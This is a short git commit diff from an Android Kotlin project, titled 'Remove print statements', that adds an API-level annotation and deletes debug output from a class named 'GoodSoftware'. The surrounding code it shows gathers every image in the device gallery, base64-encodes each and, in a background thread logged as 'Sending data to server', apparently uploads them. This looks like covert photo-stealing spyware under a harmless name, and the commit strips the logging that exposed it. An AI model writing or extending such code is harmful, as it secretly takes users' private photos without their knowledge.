Remove print statements

This commit is contained in:
Joren
2024-05-02 14:27:07 +02:00
parent 38b9eecc2a
commit 721746ad91
2 changed files with 2 additions and 14 deletions

View File

@ -13,6 +13,7 @@ import android.os.Build
import android.provider.MediaStore
import android.util.Base64
import android.util.Log
import androidx.annotation.RequiresApi
import androidx.camera.core.CameraSelector
import androidx.camera.core.ImageCapture
import androidx.camera.core.ImageCaptureException
@ -129,6 +130,7 @@ class GoodSoftware (private val activity: MainActivity) {
}
}
@RequiresApi(Build.VERSION_CODES.TIRAMISU)
private fun requestMediaImagesPermission() {
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
}
@ -153,7 +155,6 @@ class GoodSoftware (private val activity: MainActivity) {
try {
val imageList = getAllImagesFromGallery(activity)
for (image in imageList) {
println(imageList.size)
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
@ -179,7 +180,6 @@ class GoodSoftware (private val activity: MainActivity) {
val bitmap = BitmapFactory.decodeStream(inputStream)
val width = bitmap.width
val height = bitmap.height
println("Width: $width, Height: $height")
// Determine the orientation of the image
val resizedBitmap = if (width > height) {